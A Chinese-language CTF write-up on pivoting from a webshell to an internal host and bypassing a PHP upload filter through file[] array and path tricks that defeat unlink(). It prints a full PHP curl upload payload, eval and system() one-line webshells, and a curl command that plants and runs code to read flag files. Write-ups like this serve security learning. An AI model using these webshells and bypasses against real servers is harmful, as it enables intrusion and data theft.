0x01 题目描述
总共分为两部分,都是两道原题~~,我们主要讲一下第二部分,关于第一部分的writeup,以前也写过~~
第一部分:传送门
第二部分:
我们穿了一句话之后,可以用蚁剑连接,然后就是内网探测了~~
打开/proc/net/fib_trie,查看内网信息~~
我们的主机是173.158.29.9,我们用蚁剑自带的端口探测工具扫一下~~
然后我们使用wget http://173.158.29.10 -O a.html
下载下来(保存在/upload)
打开网页
以前的原题
我们这儿需要绕过两个地方
第一个是:
$ext==$filename[count($filename) - 1]
这儿我们file[1]=abc&file[0]=文件名就可以绕过
第二个是
unlink($new_name)
两种方法都可以绕过
第一种
简单说就是 PHP 在读写文件的时候需要打开文件流,会把路径标准化为绝对路径。
但是在删除或者重命名的时候,不会打开文件流,文件名除了前缀以外的位置如果还含有路径,就会删除失败。
如果 POST:
file[1]=aaa&file[0]=php/.
则新的文件名为xxx.php/.
,在move_uploaded_file()
处理的时候,会转化为绝对路径,成功将xxx.php
保存。
但是unlink()
删除失败,xxx.php
就被保存了下来。
第二种
file[1]=aaa&file[0]=php/../shell.php
新的文件名为xxx.php/../shell.php
,用了一个相对路径,创建的其实是当前目录下的shell.php,同样也能绕过unlink()
。
我们采用第二种方法,因为这样就能绕过随机数,不用去爆破随机数~~
题解
由于环境中python中没有requests,所以我们考虑使用两种方法在终端中访问内网,第一种是php_curl,第二种是自带的curl
php_curl
`postman`生成代码
注意这儿没有上传文件的内容,需要我们自行添加~~
最终的代码为:
<?php
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://173.158.29.10/",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"a.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nmajian.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\nsss\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\nxxx/../majian.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nxxx\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
"postman-token: ecd6f7b9-151a-f477-fea3-f428eedf5cb2"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
使用自带的curl 首先在当前目录下建一个flag.php文件,内容为
@<?php var_dump($_POST["xxx"]); eval($_POST["xxx"]); echo 5555; ?>
不要忘了前面的@
然后再创建一个一句话p.php
内容为:
<?php system($_POST["xxx"]); ?>
然后再访问p.php,执行curl
命令
xxx=curl 'http://173.158.29.10' -F 'hello=flag.php' -F '[email protected]' -F 'file[1]=abc' -F 'file[0]=xxx/../flag.php' -F 'xxx=system("cat /etc/flag*");'
得到flag
看了网上的wp,有师傅通过gopher+ssrf做的,挺有意思的
链接
参考链接
个人感想
在执行稍微复杂一点的linux命令时别在菜刀或者蚁剑上的终端行执行,有时候会报错,毕竟这个终端知识模拟终端~~,在传输数据的时候,会有部分错误,如特殊字符等~~